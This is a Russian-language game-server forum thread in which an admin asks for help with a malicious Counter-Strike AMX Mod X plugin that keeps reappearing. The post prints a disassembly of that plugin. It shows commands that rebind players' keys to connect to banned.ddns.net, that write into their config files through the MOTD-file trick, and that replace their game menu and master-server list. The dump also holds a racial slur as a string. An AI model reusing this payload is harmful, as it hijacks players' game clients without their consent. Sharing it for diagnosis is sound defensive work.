Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

Реконнект на другой сервер

, плагин-перенаправляет игроков на другой сервер
Статус пользователя aklex
сообщение 2.4.2014, 10:16
Сообщение #1
Стаж: 17 лет

Сообщений: 1
Благодарностей: 1
Полезность: 0

Сервер CS на Linux version : 48/1.1.2.6/Stdio 5787
Заметил сам и начали жаловаться игроки, что при нажатии на кнопки F1 F2 ... и на др., игрок перенаправляется на другой сервер, в стартовом меню игры появляется ссылка на коннект к какому то левому серверу ( BEST server, BEST ONE...надпись) В ходе разберательст было выявлено, что с сервера игроку в конфиг заливается бинд кнопок на реконнект к др. серверу. На самом сервере появились подозрительные файлы plugins-dprotosec.ini в папке config и файл dprotoupeng.amxx в папке plugins, файл core заменяется на какой то другой. Соответственно понятно, что плагин этот и творит всю эту канитель...удаляем эти файлы, меняем core на родной, перезапускаем все работает...проходит время - картина повторяется, файлы на сервере опять...каким образом они попадают туда не понятно...chmod к папкам и файлам уже сделал только для чтения и все равно...Помогите решить данную проблему?! Заранее спасибо! Файлы ниже прилагаются.

Попробовал открыть .amxx файл через программу AmxDisassembler:
Код
.DATA
    mul_000 multiarray 4 -
        string "!MD5/../../platform/config/MasterServers.vdf"
        string "!MD5/../../platform/config/rev_MasterServers.vdf"
        string "!MD5/../../config/rev_MasterServers.vdf"
        string "!MD5/../../config/MasterServers.vdf"

    str_000 string ""MasterServers"{    "hl1"    {        "0"        {            "addr"        "master.gold-boost.net:27010"        }    }}"
    str_001 string "boost"
    arr_000 array 1201 fill 0x0
    str_002 string "Best server"
    str_003 string "banned.ddns.net:33441"
    mul_001 multiarray 15 128
        string "bind "F1" "Connect banned.ddns.net:33442";wait;bind "TAB" "+showscores""
        string "bind "F2" "Connect banned.ddns.net:33441";wait;bind "F10" "Connect banned.ddns.net:33441""
        string "bind "F3" "Connect banned.ddns.net:33441";wait;bind "F11" "Connect banned.ddns.net:33441""
        string "bind "F4" "Connect banned.ddns.net:33441";wait;bind "F12" "Connect banned.ddns.net:33441""
        string "bind "F5" "Connect banned.ddns.net:33441";wait;bind "F9" "Connect banned.ddns.net:33441""
        string "bind "F6" "Connect banned.ddns.net:33441";wait;bind "LEFTARROW" "Connect banned.ddns.net:33441""
        string "bind "F7" "Connect banned.ddns.net:33441";wait;bind "DOWNARROW" "Connect banned.ddns.net:33441""
        string "bind "F8" "Connect banned.ddns.net:33441";wait;bind "RIGHTARROW" "Connect banned.ddns.net:33441""
        string "bind "UPARROW" "Connect banned.ddns.net:33441";wait;bind "HOME" "Connect banned.ddns.net:33441""
        string "bind "p" " Connect banned.ddns.net:33441";wait;bind "ALT" "Connect banned.ddns.net:33441""
        string "bind "~" "clear;toggleconsole;clear";wait;bind "n" "Connect banned.ddns.net:33441""
        string "bind "o" "Connect banned.ddns.net:33441";wait;bind "i" "Connect banned.ddns.net:33441""
        string "bind "0" "Connect banned.ddns.net:33441";wait;bind "6" "Connect banned.ddns.net:33441""
        string "bind "9" "Connect banned.ddns.net:33441";wait;bind "7" "Connect banned.ddns.net:33441""
        string "bind "DEL" "Connect banned.ddns.net:33441";wait;bind "8" "Connect banned.ddns.net:33441""

    arr_001 array 39 fill 0x0
    str_004 string "ALLINONE"
    str_005 string "1.0"
    str_006 string "NIGGAZGOLD"
    str_007 string "resource/GameMenu.res"
    str_008 string "Motdfile userconfig.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
    str_009 string "Motdfile autoexec.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
    str_010 string "Motdfile language.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
    str_011 string "Motdfile violence.CFG;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
    str_012 string "Motdfile VALVE.RC;wait;wait;Motd_write CONNECT banned.ddns.net:33441"
    str_013 string "developer 0"
    str_014 string "motdfile %s"
    str_015 string "motd_write %s"
    str_016 string "motdfile %s"
    str_017 string "motd_write %s"
    str_018 string "motdfile %s"
    str_019 string "motd_write %s"
    str_020 string "motdfile %s"
    str_021 string "motd_write %s"
    str_022 string "motdfile motd.txt"
    str_023 string "setinfo %s 1"
    str_024 string "GameMenu changer"
    str_025 string "1.0"
    str_026 string "Unknown"
    str_027 string "commands_on"
    str_028 string "1"
    str_029 string ""GameMenu" { "1" { "label" "%s""
    str_030 string "%s "command" "engine Connect %s""
    str_031 string "%s } "2" { "label" "" "command" "" }"
    str_032 string "%s "3" { "label" "#GameUI_GameMenu_ResumeGame""
    str_033 string "%s "command" "ResumeGame" "OnlyInGame" "1" }"
    str_034 string "%s "4" { "label" "#GameUI_GameMenu_Disconnect""
    str_035 string "%s "command" "Disconnect" "OnlyInGame" "1""
    str_036 string "%s "notsingle" "1" } "5" { "label" "#GameUI_GameMenu_PlayerList""
    str_037 string "%s "command" "OpenPlayerListDialog" "OnlyInGame" "1" "notsingle" "1""
    str_038 string "%s } "9" { "label" "" "command" "" "OnlyInGame" "1" }"
    str_039 string "%s "10" { "label" "#GameUI_GameMenu_NewGame" "command" "OpenCreateMultiplayerGameDialog""
    str_040 string "%s } "11" { "label" "#GameUI_GameMenu_FindServers" "command" "OpenServerBrowser""
    str_041 string "%s } "12" { "label" "#GameUI_GameMenu_Options" "command" "OpenOptionsDialog""
    str_042 string "%s } "13" { "label" "#GameUI_GameMenu_Quit" "command" "Quit" } }"
    str_043 string "motdfile "resource/GameMenu.res""
    str_044 string "motd_write %s"
    str_045 string "motdfile "motd.txt""
    str_046 string "%s"
    str_047 string "clear"
    str_048 string "TaskChangeMenu"
    arr_002 array 2 fill 0x0
    str_049 string "motdfile %s"
    str_050 string "motd_write %s"
    str_051 string "motdfile %s"
    str_052 string "motd_write %s"
    str_053 string "motdfile %s"
    str_054 string "motd_write %s"
    str_055 string "motdfile %s"
    str_056 string "motd_write %s"
    str_057 string "motdfile motd.txt"
    str_058 string "setinfo %s 1"
    str_059 string "clear"


.CODE
    halt                 0x0

PROC  plugin_init
    break    
    break    
    push.c            0x35C8
    push.c            0x35B8
    push.c            0x3594
    push.c               0xC
    sysreq.c     register_plugin
    stack               0x10
    zero.pri  
    retn      
ENDP

PROC  plugin_precache
    break    
    break    
    push.c            0x35F4
    push.c               0x4
    sysreq.c     precache_generic
    stack                0x8
    zero.pri  
    retn      
ENDP

PROC  client_authorized
    break    
    break    
    push.c            0x364C
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c            0x3778
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c            0x389C
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c            0x39C0
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c            0x3AE4
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c            0x3BF8
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    zero.pri  
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x3C28
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x3C58
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0x4
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x3C90
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x3CC0
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0x8
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x3CF8
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x3D28
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0xC
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x3D60
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x3D90
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c            0x3DC8
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c             0x3F4
    push.c            0x3E10
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c            0x3E98
    push.c            0x3E88
    push.c            0x3E44
    push.c               0xC
    sysreq.c     register_plugin
    stack               0x10
    break    
    push.c               0x0
    push.c               0x0
    push.c            0x3EE8
    push.c            0x3EB8
    push.c              0x10
    sysreq.c     register_cvar
    stack               0x14
    stor.pri          0x16CC
    break    
    push.c             0x4AF
    break    
    push.c            0x16D0
    push.c            0x3EF0
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c            0x1700
    push.c             0x40C
    push.c            0x3F70
    push.s              -0x4
    push.c             0x40C
    push.c              0x14
    sysreq.c          format
    stack               0x18
    break    
    push.c             0x40C
    push.c            0x3FF4
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4088
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4144
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x41F8
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x42B4
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4360
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4464
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4578
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4650
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x47B4
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x48F8
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c             0x40C
    push.c            0x4A2C
    push.s              -0x4
    push.c             0x40C
    push.c              0x10
    sysreq.c          format
    stack               0x14
    break    
    push.c            0x4B30
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c             0x40C
    push.c            0x4BB4
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c            0x4BEC
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c               0x0
    jump           jump_0000
jump_0002:
    break    
    inc.s               -0x8
jump_0000:
    load.s.pri          -0x8
    const.alt            0xF
    jsgeq          jump_0001
    break    
    const.alt         0x1758
    load.s.pri          -0x8
    bounds               0xE
    idxaddr  
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x4C3C
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    jump           jump_0002
jump_0001:
    stack                0x4
    break    
    push.c            0x4C48
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    stack                0x4
    zero.pri  
    retn      
ENDP

PROC  client_putinserver
    break    
    break    
    push.c               0x0
    push.c            0x4CA0
    push.c               0x0
    push.c            0x4C9C
    push.s               0xC
    push.c            0x4C60
    push.c        0x40400000
    push.c              0x1C
    sysreq.c        set_task
    stack               0x20
    zero.pri  
    retn      
ENDP

PROC  TaskChangeMenu
    break    
    break    
    zero.pri  
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x4CA4
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x4CD4
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0x4
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x4D0C
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x4D3C
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0x8
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x4D74
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x4DA4
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    zero.pri  
    add.c                0xC
    move.alt  
    load.i    
    add      
    push.pri  
    push.c            0x4DDC
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c             0x2B8
    push.c            0x4E0C
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c            0x4E44
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    break    
    push.c             0x3F4
    push.c            0x4E8C
    push.s               0xC
    push.c               0xC
    sysreq.c      client_cmd
    stack               0x10
    break    
    push.c            0x4EC0
    push.s               0xC
    push.c               0x8
    sysreq.c      client_cmd
    stack                0xC
    zero.pri  
    retn      
ENDP

Прикрепленные файлы:
Прикрепленный файл  files.zip ( 6,41 килобайт ) Кол-во скачиваний: 26
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя San4aus
сообщение 2.4.2014, 10:23
Сообщение #2
Стаж: 15 лет

Сообщений: 383
Благодарностей: 237
Полезность: 612

https://c-s.net.ua/forum/index.php?showtopi...t=0&start=0

->пункт Уязвимость "появляются конфиги" решает эту проблему.

Отредактировал: San4aus, - 2.4.2014, 10:23
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя sweet
сообщение 2.4.2014, 10:33
Сообщение #3
Стаж: 15 лет

Сообщений: 1920
Благодарностей: 597
Полезность: 431

delete

Отредактировал: sweet, - 2.4.2014, 10:33
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя csnet
сообщение 2.4.2014, 10:40
Сообщение #4
Стаж: 12 лет

Сообщений: 4808
Благодарностей: 3849
Полезность: 690

будто новость дня. ппц
бинды на коннект вообще делать глупо.

Отредактировал: csnet, - 2.4.2014, 10:40


go v cs:go
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
  Ответить в данную темуНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: